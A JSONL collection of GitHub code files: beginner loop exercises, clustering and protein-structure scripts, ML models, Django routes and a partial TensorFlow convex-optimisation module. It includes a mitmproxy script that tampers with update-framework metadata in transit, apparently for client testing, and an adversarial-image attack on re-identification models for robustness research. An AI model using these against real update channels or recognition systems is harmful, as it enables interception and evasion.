+{"seq_id":"72304163920","text":"A = [1,3,5,7]\r\n\r\ni = 1\r\n\r\nfor x in range(0,10) :\r\n    i = i + 2\r\n    print(i)\r\nprint(\"=-\" * 30)\r\n\r\nB = [2, 4, 8, 16, 32, 64]\r\ni = 2\r\nfor x in range(0,10) :\r\n        i = i * 2\r\n        print(i)\r\nprint(\"=-\" * 30)\r\n\r\nC = [0, 1, 4, 9, 16, 25, 36]\r\ni = 1\r\ny = 3\r\nfor x in range(0,10):\r\n    i = i + y\r\n    y = y + 2\r\n    print(i)\r\nprint(\"=-\" * 30)\r\n\r\nD = [4, 16, 36, 64]\r\n\r\n\r\n\r\natual = 2\r\nproximo =  atual*atual\r\nmultiplicador = atual + 2\r\nfor x in range(0,10) :\r\n    proximo = atual*atual\r\n    multiplicador = atual +  2\r\n    atual = multiplicador\r\n    print(proximo)\r\nprint(\"=-\" * 30)\r\n\r\nE = [1, 1, 2, 3, 5, 8]\r\n\r\nanterior = 1\r\nproximo = 1\r\nsoma = anterior + proximo\r\n\r\nfor x in range(0,10) :\r\n    soma = anterior + proximo\r\n    anterior = proximo\r\n    proximo = soma\r\n    print(soma)\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"gabpesouza/desafioEstagio","sub_path":"exercicios_logica.py","file_name":"exercicios_logica.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"75067617681","text":"\"\"\"Calculate K meanss clustering\"\"\"\nfrom plugin import Statistics\nimport wx\nfrom numpy import array\ntry:\n    from Pycluster import kcluster\nexcept ImportError:\n    from Bio.Cluster import kcluster\n\nclass KMeans(Statistics):\n    \"\"\"plugin for calculating kmeans\"\"\"\n    name = \"Kmeans\"\n    def Main(self, model):\n        \"\"\"calculate kmeans\"\"\"\n        self.model = model\n        data = self.model.GetCurrentData()[:]\n        \n        nclusters = wx.GetNumberFromUser(\"Kmeans Dialog\",\n                                         \"Enter number of clusters\",\n                                         \"Kmeans nclusters\",\n                                         1)\n\n        z, error, found = kcluster(data, nclusters=nclusters) #IGNORE:W0612\n        self.model.NewGroup('Kmeans%02d' % nclusters)\n        self.model.hdf5.createArray(self.model.current_group, 'z', array(z))\n        self.model.update()\n        \n        \n","repo_name":"cliburn/flow","sub_path":"src/plugins/statistics/kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"71231963603","text":"import sys\n\nfrom mitmproxy import ctx\nfrom mitmproxy.http import HTTPFlow\nfrom random import randrange\n\nfrom api.datatypes.metadata import Metadata\nfrom api.utils import is_metadata\n\n\ndef response(flow: HTTPFlow) -> None:\n    if is_metadata(flow):\n        ctx.log.info(f\"Randomize the signed version...\")\n    else:\n        ctx.log.debug(\"skipping non-metadata response...\")\n        return\n\n    try:\n        meta = Metadata.from_flow(flow)\n        new_version = randrange(sys.maxsize)\n        ctx.log.debug(f\"replacing metadata version {meta.version} with {new_version}\")\n        meta.version = new_version\n\n        flow.response.headers[\"x-mitm-flow\"] = \"randomize_version\"\n        flow.response.content = meta.to_json().encode(\"UTF-8\")\n    except Exception as e:\n        ctx.log.error(f\"Processing error: {e}\")\n        ctx.log.debug(e.__traceback__)\n","repo_name":"advancedtelematic/tuf-mitm-proxy","sub_path":"flows/randomize_version.py","file_name":"randomize_version.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35586503005","text":"#! /usr/bin/python3\n\n\"\"\"\n    Determine the list of residues whose CA atoms are closer than 20 Å\n\"\"\"\n\nimport argparse\n\nfrom Bio.PDB.NeighborSearch import NeighborSearch\nfrom Bio.PDB.PDBParser import PDBParser\n\n\ndef atom_id(at):\n    \"\"\" Function to build a friendly representation \n        of an atom id like ARG A23.CA \n    \"\"\"\n    res = at.get_parent()\n    chain = res.get_parent()\n    return \"{} {}{}.{}\".format (res.get_resname(), chain.id, res.id[1], at.id)\n  \nparser = argparse.ArgumentParser (\n    prog='exercise2', \n    description='Getting CA pairs within max dist',\n    usage='exercise2.py [options] pdb_file [> output_file]'\n)\n\nparser.add_argument(\n    '--maxdist', \n    action='store', \n    dest='max_dist',\n    default=20,\n    type=float,\n    help='Max contact distance (A)'\n)\n\nparser.add_argument('pdb_file',help='Input PDB', type=open)\n\nargs = parser.parse_args()\n\nfor k, v in vars(args).items():\n    print ('{:10}:'.format(k), v)\n\nprint(\"PDB.filename:\", args.pdb_file.name)\n\nparser = PDBParser(PERMISSIVE=1)\n\nprint ('Parsing', args.pdb_file)\n\n# load structure from PDB file of PDB ifle handler\nst = parser.get_structure('STR', args.pdb_file.name)\n\n# collecting CA atoms \nca_atoms=[]\n\nfor at in st.get_atoms():\n    if at.id == 'CA':\n        ca_atoms.append(at)\n\nprint (len(ca_atoms), 'CA Atoms found')\n\n# Preparing search\nnbsearch = NeighborSearch(ca_atoms)\n\nat_pairs =  nbsearch.search_all(args.max_dist)\n\n# Output sorted by atom,serial_number, nbsearch returns ordered pairs\n# Redirect the output with > output_list\nfor at1, at2 in sorted(at_pairs, key=lambda at_pair: at_pair[0].serial_number):\n    print (atom_id(at1), \":\", atom_id(at2), at1-at2)\n","repo_name":"jlgelpi/Biophysics2019-20","sub_path":"Session1_Solved/ex2/exercise2.py","file_name":"exercise2.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38830029597","text":"\"\"\"\nauthor: Huiwang Liu\ne-mail: liuhuiwang1025@outlook.com\n\"\"\"\n\nimport random\nfrom copy import deepcopy\nfrom functools import partial\nfrom pathlib import Path\n\nimport kornia as K\nimport torch\nimport torch.nn as nn\nfrom pytorch_metric_learning.losses import TripletMarginLoss\nfrom pytorch_metric_learning.miners import BatchHardMiner\nfrom torch.utils import data\nfrom torchvision.utils import save_image\nfrom tqdm.auto import tqdm\n\nfrom pytorch_reid_models.reid_models.data import build_train_dataloader\nfrom pytorch_reid_models.reid_models.utils import set_seed, setup_logger\nfrom reid_attack.attacker_base import TransferAttackBase\n\n# 'third_party/torchattacks/wrappers/lgv.py' not availableF\nclass EnsMIFGSM:\n    def __init__(\n        self,\n        random_ens_model,\n        eps=8 / 255,\n        alpha=1 / 255,\n        steps=50,\n        decay=1.0,\n        # len_kernel=15,\n        # nsig=3,\n        # resize_rate=0.9,\n        # diversity_prob=0.5,\n        random_start=True,\n    ):\n        self.random_ens_model = random_ens_model\n        self.random_ens_model.eval()\n        self.eps = eps\n        self.steps = steps\n        self.decay = decay\n        self.alpha = alpha\n        # self.resize_rate = resize_rate\n        # self.diversity_prob = diversity_prob\n        self.random_start = random_start\n        # self.len_kernel = (len_kernel, len_kernel)\n        # self.nsig = (nsig, nsig)\n\n        self.device = next(random_ens_model.parameters()).device\n\n    # def input_diversity(self, x):\n    #     img_size = x.shape[-1]\n    #     img_resize = int(img_size * self.resize_rate)\n\n    #     if self.resize_rate < 1:\n    #         img_size = img_resize\n    #         img_resize = x.shape[-1]\n\n    #     rnd = torch.randint(\n    #         low=img_size, high=img_resize, size=(1,), dtype=torch.int32\n    #     ).item()\n    #     ratio = x.shape[2] / x.shape[3]\n    #     rescaled = F.interpolate(\n    #         x, size=[int(rnd * ratio), rnd], mode=\"bilinear\", align_corners=False\n    #     )\n    #     h_rem = int((img_resize - rnd) * ratio)\n    #     w_rem = img_resize - rnd\n    #     pad_top = torch.randint(low=0, high=h_rem, size=(1,), dtype=torch.int32).item()\n    #     pad_bottom = h_rem - pad_top\n    #     pad_left = torch.randint(low=0, high=w_rem, size=(1,), dtype=torch.int32).item()\n    #     pad_right = w_rem - pad_left\n\n    #     padded = F.pad(\n    #         rescaled,\n    #         [pad_left, pad_right, pad_top, pad_bottom],\n    #         value=0,\n    #     )\n\n    #     return padded if torch.rand(1) < self.diversity_prob else x\n\n    def forward(self, images):\n        images = images.detach().to(self.device)\n\n        criterion = criterion = partial(\n            torch.nn.CosineEmbeddingLoss(), target=torch.ones(1, device=self.device)\n        )\n\n        momentum = torch.zeros_like(images).detach().to(self.device)\n\n        adv_images = images.clone().detach()\n        if self.random_start:\n            # Starting at a uniformly random point\n            adv_images = adv_images + torch.empty_like(adv_images).uniform_(\n                -self.eps, self.eps\n            )\n            adv_images = torch.clamp(adv_images, min=0, max=1).detach()\n\n        for _ in range(self.steps):\n            adv_images.requires_grad = True\n\n            feats_list = self.random_ens_model(images)\n            # adv_feats_list = self.random_ens_model(\n            #     self.input_diversity(adv_images), use_last_models=True\n            # )\n            adv_feats_list = self.random_ens_model(adv_images, use_last_models=True)\n\n            # Calculate loss\n            loss = sum(\n                [\n                    criterion(adv_feats, feats)\n                    for adv_feats, feats in zip(adv_feats_list, feats_list)\n                ]\n            )\n\n            # Update adversarial images\n            grad = torch.autograd.grad(\n                loss, adv_images, retain_graph=False, create_graph=False\n            )[0]\n\n            # depth wise conv2d\n            # grad = K.filters.gaussian_blur2d(\n            #     grad, kernel_size=self.len_kernel, sigma=self.nsig\n            # )\n            grad = grad / torch.mean(torch.abs(grad), dim=(1, 2, 3), keepdim=True)\n            grad = grad + momentum * self.decay\n            momentum = grad\n\n            adv_images = adv_images.detach() + self.alpha * grad.sign()\n            delta = torch.clamp(adv_images - images, min=-self.eps, max=self.eps)\n            adv_images = torch.clamp(images + delta, min=0, max=1).detach()\n\n        return adv_images\n\n    def __call__(self, images):\n        return self.forward(images)\n\n\nclass RandomEnsModel(torch.nn.Module):\n    def __init__(self, models_list, ens_num=1):\n        super().__init__()\n        self.models = torch.nn.ModuleList(models_list)\n        self.ens_num = ens_num\n        # Calculating clean features and adversarial features requires\n        # ensuring that the models are the same\n        self.last_indexes = None\n\n    def forward(self, x, use_last_models=False):\n        if use_last_models:\n            assert self.last_indexes is not None\n            indexes = self.last_indexes\n        else:\n            indexes = random.sample(range(len(self.models)), self.ens_num)\n            self.last_indexes = indexes\n\n        feats_list = [self.models[i](x) for i in indexes]\n\n        return feats_list\n\n\nclass LGVAttack(TransferAttackBase):\n    def _random_start(self, imgs, eps):\n        imgs = imgs + torch.empty_like(imgs).uniform_(-eps, eps)\n        imgs = torch.clamp(imgs, min=0, max=1).detach()\n        return imgs\n\n    def generate_adv(self, q_dataset, agent_model, g_dataset=None):\n        collect_models = self.lgv_collect_models(\n            agent_model, train_dataset_name=q_dataset.name\n        )\n        for model in collect_models:\n            model.eval().requires_grad_(False)\n\n        random_ens_model = RandomEnsModel(collect_models, ens_num=1)\n\n        eps = 8 / 255\n        attack = EnsMIFGSM(\n            random_ens_model, eps=eps, alpha=1 / 255, steps=50, decay=1.0\n        )\n\n        all_adv_imgs, all_pids, all_camids = [], [], []\n        q_dataloader = data.DataLoader(q_dataset, batch_size=32, num_workers=8)\n        for imgs, pids, camids in tqdm(q_dataloader, desc=\"Generate adv\", leave=False):\n            imgs, pids, camids = imgs.cuda(), pids.cuda(), camids.cuda()\n            adv_imgs = attack(imgs)\n            all_adv_imgs.append(adv_imgs.cpu())\n            all_pids.append(pids.cpu())\n            all_camids.append(camids.cpu())\n        all_adv_imgs = torch.cat(all_adv_imgs)\n        all_pids = torch.cat(all_pids)\n        all_camids = torch.cat(all_camids)\n\n        return data.TensorDataset(all_adv_imgs, all_pids, all_camids)\n\n    @staticmethod\n    def lgv_collect_models(\n        agent_model, train_dataset_name, epoch=10, nb_models_epoch=4, lr=5e-2\n    ):\n        models_list = []\n        models_path = Path(\"/tmp/lgv_models.pth\")\n        if models_path.exists():\n            state_dict_list = torch.load(models_path, map_location=\"cpu\")\n            assert len(state_dict_list) == epoch * nb_models_epoch\n            for state in state_dict_list:\n                model = deepcopy(agent_model)\n                model.eval().requires_grad_(False)\n                model.load_state_dict(state)\n                models_list.append(model)\n        else:\n            # Construct training data\n            train_dataloader = build_train_dataloader(\n                dataset_names=[train_dataset_name],\n                per_dataset_num=None,\n                transforms=[\"randomflip\"],\n                batch_size=64,\n                sampler=\"pk\",\n                num_instance=8,\n            )\n\n            # Fine-tuning model\n            model = deepcopy(agent_model)\n            optimizer = torch.optim.SGD(\n                model.parameters(),\n                lr=lr,\n                momentum=0.9,\n                weight_decay=1e-4,\n            )\n\n            # Loss function\n            miner = BatchHardMiner()\n            criterion_t = TripletMarginLoss(margin=0.3)\n            criterion_x = nn.CrossEntropyLoss(label_smoothing=0.1)\n\n            # Start fine-tuning\n            for e in range(epoch):\n                model.train()\n                save_points = torch.linspace(\n                    0,\n                    len(train_dataloader) - 1,\n                    steps=nb_models_epoch + 1,\n                    dtype=torch.int64,\n                )[1:]\n                for i, (imgs, pids, _) in enumerate(\n                    tqdm(train_dataloader, desc=f\"Epoch {e}\", leave=False)\n                ):\n                    imgs, pids = imgs.cuda(), pids.cuda()\n                    logits, feats = model(imgs)\n\n                    # FIXME: The pid relabel does not match the original model training code\n                    # (We tried adding the correct matching version of xent loss and the result was worse)\n                    # loss_x = criterion_x(logits, pids)\n                    hard_pairs = miner(feats, pids)\n                    loss_t = criterion_t(feats, pids, hard_pairs)\n                    # loss = loss_x + loss_t\n                    loss = loss_t\n\n                    optimizer.zero_grad(True)\n                    loss.backward()\n                    optimizer.step()\n\n                    if i in save_points:\n                        save_model = deepcopy(model)\n                        models_list.append(save_model)\n\n            # Save model\n            torch.save([m.state_dict() for m in models_list], models_path)\n\n        return models_list\n\n\ndef main():\n    setup_logger(name=\"pytorch_reid_models.reid_models\")\n    setup_logger(name=\"__main__\")\n\n    set_seed(42)\n\n    LGVAttack().run()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"HWliiu/RobustReidResearch","sub_path":"reid_attack/lgv_attack.py","file_name":"lgv_attack.py","file_ext":"py","file_size_in_byte":9693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23532473037","text":"import torch\n\nfrom torch import nn\n\nfrom pythia.common.registry import registry\nfrom pythia.models.base_model import BaseModel\nfrom pythia.modules.layers import ConvNet, Flatten\n\n\n_TEMPLATES = {\n    \"question_vocab_size\": \"{}_text_vocab_size\",\n    \"number_of_answers\": \"{}_num_final_outputs\"\n}\n\n_CONSTANTS = {\n    \"hidden_state_warning\": \"hidden state (final) should have 1st dim as 2\"\n}\n\n\n@registry.register_model(\"cnn_lstm\")\nclass CNNLSTM(BaseModel):\n    \"\"\"CNNLSTM is a simple model for vision and language tasks. CNNLSTM is supposed to act\n    as a baseline to test out your stuff without any complex functionality. Passes image\n    through a CNN, and text through an LSTM and fuses them using concatenation. Then, it finally\n    passes the fused representation from a MLP to generate scores for each of the possible answers.\n\n    Args:\n        config (ConfigNode): Configuration node containing all of the necessary config required\n                             to initialize CNNLSTM.\n\n    Inputs: sample_list (SampleList)\n        - **sample_list** should contain image attribute for image, text for question split into\n          word indices, targets for answer scores\n    \"\"\"\n    def __init__(self, config):\n        super().__init__(config)\n        self._global_config = registry.get(\"config\")\n        self._datasets = self._global_config.datasets.split(\",\")\n\n    def build(self):\n        assert len(self._datasets) > 0\n        num_question_choices = registry.get(\n            _TEMPLATES[\"question_vocab_size\"].format(self._datasets[0])\n        )\n        num_answer_choices = registry.get(\n            _TEMPLATES[\"number_of_answers\"].format(self._datasets[0])\n        )\n\n        self.text_embedding = nn.Embedding(\n            num_question_choices, self.config.text_embedding.embedding_dim\n        )\n        self.lstm = nn.LSTM(**self.config.lstm)\n\n        layers_config = self.config.cnn.layers\n        conv_layers = []\n        for i in range(len(layers_config.input_dims)):\n            conv_layers.append(\n                ConvNet(\n                    layers_config.input_dims[i],\n                    layers_config.output_dims[i],\n                    kernel_size=layers_config.kernel_sizes[i]\n                )\n            )\n        conv_layers.append(Flatten())\n        self.cnn = nn.Sequential(*conv_layers)\n\n        self.classifier = nn.Linear(self.config.classifier.input_dim, num_answer_choices)\n\n    def forward(self, sample_list):\n        self.lstm.flatten_parameters()\n\n        question = sample_list.text\n        image = sample_list.image\n\n        # Get (h_n, c_n), last hidden and cell state\n        _, hidden = self.lstm(self.text_embedding(question))\n        # X x B x H => B x X x H where X = num_layers * num_directions\n        hidden = hidden[0].transpose(0, 1)\n\n        # X should be 2 so we can merge in that dimension\n        assert hidden.size(1) == 2, _CONSTANTS[\"hidden_state_warning\"]\n\n        hidden = torch.cat([hidden[:, 0, :], hidden[:, 1, :]], dim=-1)\n        image = self.cnn(image)\n\n        # Fuse into single dimension\n        fused = torch.cat([hidden, image], dim=-1)\n        scores = self.classifier(fused)\n\n\n        return {\"scores\": scores}\n","repo_name":"microsoft/TAP","sub_path":"pythia/models/cnn_lstm.py","file_name":"cnn_lstm.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"3"}
+{"seq_id":"25620144465","text":"from django.urls import path\nfrom .views import MoveListView,DramaListView,ActionListView,AnimationListView,DramaDetailView,ActionDetailView,AnimationDetailView\nurlpatterns = [\n   path('', MoveListView.as_view(), name='move_list'),\n   path('Drama/', DramaListView.as_view(),name='Drama_list'),\n   path('Action/', ActionListView.as_view(),name='Action_list'),\n   path('Animation/', AnimationListView.as_view(),name='Animation_list'),\n   path('Drama/<int:pk>/', DramaDetailView.as_view(),name='Drama_detail'),\n   path('Action/<int:pk>/', ActionDetailView.as_view(),name='Action_detail'),\n   path('Animation/<int:pk>/', AnimationDetailView.as_view(),name='Animation_detail')\n\n] ","repo_name":"WalaaAtiah/drf-api-permissions-postgres","sub_path":"Movies/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5943948389","text":"import abc\nimport contextlib\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom tensorflow_mri.python.ops import array_ops\nfrom tensorflow_mri.python.util import deprecation\nfrom tensorflow_mri.python.ops import linalg_ops\nfrom tensorflow_mri.python.ops import math_ops\nfrom tensorflow_mri.python.util import api_util\nfrom tensorflow_mri.python.util import check_util\nfrom tensorflow_mri.python.util import linalg_ext\nfrom tensorflow_mri.python.util import linalg_imaging\nfrom tensorflow_mri.python.util import tensor_util\n\n\n@api_util.export(\"convex.ConvexFunction\")\nclass ConvexFunction():\n  r\"\"\"Base class defining a [batch of] convex function[s].\n\n  Represents a closed proper convex function\n  :math:`f : \\mathbb{R}^{n}\\rightarrow \\mathbb{R}` or\n  :math:`f : \\mathbb{C}^{n}\\rightarrow \\mathbb{R}`.\n\n  Subclasses should implement the `_call` and `_prox` methods to define the\n  forward pass and the proximal mapping, respectively. Gradients are\n  provided by TensorFlow's automatic differentiation feature.\n\n  This class exposes three properties to get static shape information:\n\n  * `shape`: The static shape. Calls `_shape`.\n  * `domain_dimension`: The static domain dimension, equal to `shape[-1]`.\n  * `batch_shape`: The static batch shape, equal to `shape[:-1]`.\n\n  Additionally there are three equivalent methods to get dynamic shape\n  information:\n\n  * `shape_tensor`: The dynamic shape. Calls `_shape_tensor`.\n  * `domain_dimension_tensor`: The dynamic domain dimension, equal to\n    `shape_tensor()[-1]`.\n  * `batch_shape_tensor`: The dynamic batch shape, equal to\n    `shape_tensor()[:-1]`.\n\n  Subclasses may implement the methods `_shape` and `_shape_tensor` to provide\n  custom static and dynamic shape information, respectively.\n  \"\"\"\n  def __init__(self,\n               domain_dimension=None,\n               scale=None,\n               dtype=None,\n               name=None):\n    \"\"\"Initialize this `ConvexFunction`.\"\"\"\n    if isinstance(domain_dimension, tf.compat.v1.Dimension):\n      domain_dimension = domain_dimension.value\n    self._domain_dimension = check_util.validate_rank(\n        domain_dimension, 'domain_dimension', accept_none=True)\n\n    self._dtype = tf.dtypes.as_dtype(dtype or tf.dtypes.float32)\n    self._name = name or type(self).__name__\n\n    if scale is None:\n      scale = 1.0\n    self._scale = tf.convert_to_tensor(scale, dtype=self.dtype.real_dtype)\n\n  def __call__(self, x):\n    return self.call(x)\n\n  def call(self, x, name=None):\n    \"\"\"Evaluate this `ConvexFunction` at input point[s] `x`.\n\n    Args:\n      x: A `tf.Tensor` of shape `[..., n]` and same dtype as `self`.\n      name: A name for this operation (optional).\n\n    Returns:\n      A `tf.Tensor` of shape `[...]` and same dtype as `self`.\n    \"\"\"\n    with self._name_scope(name or \"call\"):\n      x = tf.convert_to_tensor(x, name=\"x\")\n      self._check_input_shape(x)\n      self._check_input_dtype(x)\n      return self._call(x)\n\n  def prox(self, x, scale=None, name=None, **kwargs):\n    \"\"\"Evaluate the proximal operator of this `ConvexFunction` at point[s] `x`.\n\n    Args:\n      x: A `tf.Tensor` of shape `[..., n]` and same dtype as `self`.\n      scale: A scalar `float`. Additional scaling factor.\n      name: A name for this operation (optional).\n      **kwargs: A `dict`. Additional keyword arguments to pass to `_prox`.\n\n    Returns:\n      A `tf.Tensor` of shape `[..., n]` and same dtype as `self`.\n    \"\"\"\n    with self._name_scope(name or \"prox\"):\n      x = tf.convert_to_tensor(x, name=\"x\")\n      self._check_input_shape(x)\n      self._check_input_dtype(x)\n      return self._prox(x, scale=scale, **kwargs)\n\n  def conj(self, name=None):\n    \"\"\"Returns the convex conjugate of this `ConvexFunction`.\n\n    Args:\n      name: A name for this operation (optional).\n\n    Returns:\n      A `ConvexFunction` which represents the convex conjugate of `self`.\n    \"\"\"\n    with self._name_scope(name or \"conj\"):\n      return self._conj()\n\n  def shape_tensor(self, name=None):\n    \"\"\"Returns the dynamic shape of this `ConvexFunction`.\n\n    Args:\n      name: A name for this operation (optional).\n\n    Returns:\n      A 1D integer `tf.Tensor`.\n    \"\"\"\n    with self._name_scope(name or \"shape_tensor\"):\n      # Prefer to use statically defined shape if available.\n      if self.shape.is_fully_defined():\n        return tensor_util.convert_shape_to_tensor(\n            self.shape.as_list(), name=\"shape\")\n      return self._shape_tensor()\n\n  def domain_dimension_tensor(self, name=None):\n    \"\"\"Returns the dynamic domain dimension of this `ConvexFunction`.\n\n    Subclasses get this for free once they implement `_shape_tensor`.\n\n    Args:\n      name: A name for this operation (optional).\n\n    Returns:\n      A scalar integer `tf.Tensor`.\n    \"\"\"\n    with self._name_scope(name or \"domain_dimension_tensor\"):\n      # Prefer to use statically defined domain_dimension if available.\n      if isinstance(self.domain_dimension, int):\n        return tf.constant(self.domain_dimension, dtype=tf.int32)\n      return self.shape_tensor()[-1]\n\n  @deprecation.deprecated(\n      '2022-08-07', 'Use `ConvexFunction.domain_dimension_tensor` instead.')\n  def ndim_tensor(self, name=None):  # pylint: disable=unused-argument\n    \"\"\"Returns the dynamic domain dimension of this `ConvexFunction`.\n\n    Args:\n      name: A name for this operation (optional).\n\n    Returns:\n      A scalar integer `tf.Tensor`.\n    \"\"\"\n    return self.domain_dimension_tensor()\n\n  def batch_shape_tensor(self, name=None):\n    \"\"\"Returns the dynamic batch shape of this `ConvexFunction`.\n\n    Subclasses get this for free once they implement `_shape_tensor`.\n\n    Args:\n      name: A name for this operation (optional).\n\n    Returns:\n      A 1D integer `tf.Tensor`.\n    \"\"\"\n    with self._name_scope(name or \"batch_shape_tensor\"):\n      # Prefer to use statically defined shape if available.\n      if self.batch_shape.is_fully_defined():\n        return tensor_util.convert_shape_to_tensor(\n            self.batch_shape.as_list(), name=\"shape\")\n      return self.shape_tensor()[:-1]\n\n  @abc.abstractmethod\n  def _call(self, x):\n    # Must be implemented by subclasses.\n    raise NotImplementedError(\"Method `_call` is not implemented.\")\n\n  def _prox(self, x, scale=None):\n    # Must be implemented by subclasses.\n    raise NotImplementedError(\"Method `_prox` is not implemented.\")\n\n  def _conj(self):\n    # Must be implemented by subclasses.\n    raise NotImplementedError(\"Method `_conj` is not implemented.\")\n\n  def _shape(self):\n    \"\"\"Returns the static shape of this `ConvexFunction`.\n\n    Has a default implementation based on the domain dimension.\n\n    Returns:\n      A `tf.TensorShape`.\n    \"\"\"\n    return tf.TensorShape([self._domain_dimension])\n\n  def _shape_tensor(self):\n    \"\"\"Returns the dynamic shape of this `ConvexFunction`.\n\n    Returns:\n      A 1D integer `tf.Tensor`.\n    \"\"\"\n    raise NotImplementedError(\"`_shape_tensor` is not implemented.\")\n\n  @property\n  def scale(self):\n    \"\"\"The scaling factor.\"\"\"\n    return self._scale\n\n  @property\n  def shape(self):\n    \"\"\"The static shape of this `ConvexFunction`.\"\"\"\n    return self._shape()\n\n  @property\n  def domain_dimension(self):\n    \"\"\"The static domain dimension of this `ConvexFunction`.\"\"\"\n    return self.shape[-1]\n\n  @property\n  def batch_shape(self):\n    \"\"\"The static batch shape of this `ConvexFunction`.\"\"\"\n    return self.shape[:-1]\n\n  @property\n  def dtype(self):\n    \"\"\"The `DType` of `Tensors` handled by this `ConvexFunction`.\"\"\"\n    return self._dtype\n\n  @property\n  def name(self):\n    \"\"\"Name prepended to all ops created by this `ConvexFunction`.\"\"\"\n    return self._name\n\n  @contextlib.contextmanager\n  def _name_scope(self, name=None):\n    \"\"\"Helper function to standardize op scope.\"\"\"\n    full_name = self.name\n    if name is not None:\n      full_name += \"/\" + name\n    with tf.name_scope(full_name) as scope:\n      yield scope\n\n  def _check_input_shape(self, arg):  # pylint: disable=missing-param-doc\n    \"\"\"Check that arg.shape[-1] is compatible with self.domain_dimension.\"\"\"\n    if arg.shape.rank is None:\n      raise ValueError(\n          \"Expected argument to have known rank, but found: {} \"\n          \"in tensor {}\".format(arg.shape.rank, arg))\n    if arg.shape.rank < 1:\n      raise ValueError(\n          \"Expected argument to have rank >= 1, but found: {} \"\n          \"in tensor {}\".format(arg.shape.rank, arg))\n    if not arg.shape[-1:].is_compatible_with([self.domain_dimension]):\n      raise ValueError(\n          \"Expected argument to have last dimension {}, but found: {} in \"\n          \"tensor {}\".format(self.domain_dimension, arg.shape[-1], arg))\n\n  def _check_input_dtype(self, arg):\n    \"\"\"Check that arg.dtype == self.dtype.\"\"\"\n    if arg.dtype.base_dtype != self.dtype:\n      raise TypeError(\n          \"Expected argument to have dtype {}, but found: {} \"\n          \"in tensor {}\".format(self.dtype, arg.dtype, arg))\n\n\n@api_util.export(\"convex.ConvexFunctionAffineMappingComposition\")\nclass ConvexFunctionAffineMappingComposition(ConvexFunction):\n  \"\"\"Composes a convex function and an affine mapping.\n\n  Represents :math:`f(Ax + b)`, where :math:`f` is a `ConvexFunction`,\n  :math:`A` is a `LinearOperator` and :math:`b` is a constant `Tensor`.\n\n  Args:\n    function: A `ConvexFunction`.\n    operator: A `LinearOperator`. Defaults to the identity.\n    constant: A `Tensor`. Defaults to 0.\n    scale: A `float`. A scaling factor.\n    name: A name for this operation.\n  \"\"\"\n  def __init__(self,\n               function,\n               operator=None,\n               constant=None,\n               scale=None,\n               name=None):\n    domain_dimension = (operator.domain_dimension if operator is not None\n                        else function.domain_dimension)\n    super().__init__(domain_dimension=domain_dimension,\n                     scale=scale,\n                     dtype=function.dtype,\n                     name=name)\n    self._function = function\n    self._operator = operator\n    self._constant = constant\n\n  def _call(self, x):\n    if self._operator is not None:\n      x = self._operator.matvec(x)\n    if self._constant is not None:\n      x += self._constant\n    return self._scale * self._function._call(x)  # pylint: disable=protected-access\n\n  def _prox(self, x, scale=None):\n    # Prox difficult to evaluate for general linear operators.\n    # TODO(jmontalt): implement prox for specific cases such as orthogonal\n    # operators.\n    raise NotImplementedError(\n       f\"The proximal operator of {self.name} is not implemented or \"\n       f\"does not have a closed form expression.\")\n\n  @property\n  def function(self):\n    return self._function\n\n  @property\n  def operator(self):\n    return self._operator\n\n  @property\n  def constant(self):\n    return self._constant\n\n\n@api_util.export(\"convex.ConvexFunctionLinearOperatorComposition\")\nclass ConvexFunctionLinearOperatorComposition(  # pylint: disable=abstract-method\n    ConvexFunctionAffineMappingComposition):\n  r\"\"\"Composes a convex function and a linear operator.\n\n  Represents :math:`f(Ax)`, where :math:`f` is a `ConvexFunction` and\n  :math:`A` is a `LinearOperator`.\n\n  Args:\n    function: A `ConvexFunction`.\n    operator: A `LinearOperator`. Defaults to the identity.\n    scale: A `float`. A scaling factor.\n    name: A name for this operation.\n  \"\"\"\n  def __init__(self,\n               function,\n               operator=None,\n               scale=None,\n               name=None):\n    super().__init__(function,\n                     operator=operator,\n                     scale=scale,\n                     name=name)\n\n\n@api_util.export(\"convex.ConvexFunctionIndicatorBall\")\nclass ConvexFunctionIndicatorBall(ConvexFunction):  # pylint: disable=abstract-method\n  \"\"\"A `ConvexFunction` representing the indicator function of an Lp ball.\n\n  Args:\n    domain_dimension: A scalar integer `tf.Tensor`. The dimension of the domain.\n    order: A `float`. The order of the norm. Supported values are `1`, `2`,\n      `np.inf`.\n    scale: A `float`. A scaling factor. Defaults to 1.0.\n    dtype: A `tf.dtypes.DType`. The type of this `ConvexFunction`. Defaults to\n      `tf.dtypes.float32`.\n    name: A name for this `ConvexFunction`.\n  \"\"\"\n  def __init__(self,\n               domain_dimension,\n               order,\n               scale=None,\n               dtype=None,\n               name=None):\n    super().__init__(scale=scale, dtype=dtype, name=name)\n    self._order = check_util.validate_enum(order, [1, 2, np.inf], name='order')\n\n    self._domain_dimension_static, self._domain_dimension_dynamic = (\n        _get_static_and_dynamic_dimension(domain_dimension))\n\n  def _call(self, x):\n    # Note that the scale has no effect, as the indicator function is always\n    # zero or infinity.\n    return math_ops.indicator_ball(x, order=self._order)\n\n  def _prox(self, x, scale=None):\n    # The proximal operator of the indicator function of a closed convex set\n    # (such as the Lp ball) is the projection onto the set.\n    return math_ops.project_onto_ball(x, order=self._order)\n\n  def _conj(self):\n    # The convex conjugate of the indicator function on the unit ball defined\n    # by the Lp-norm is the dual norm function.\n    return ConvexFunctionNorm(\n        domain_dimension=self.domain_dimension,\n        order=_conjugate_exponent(self._order),\n        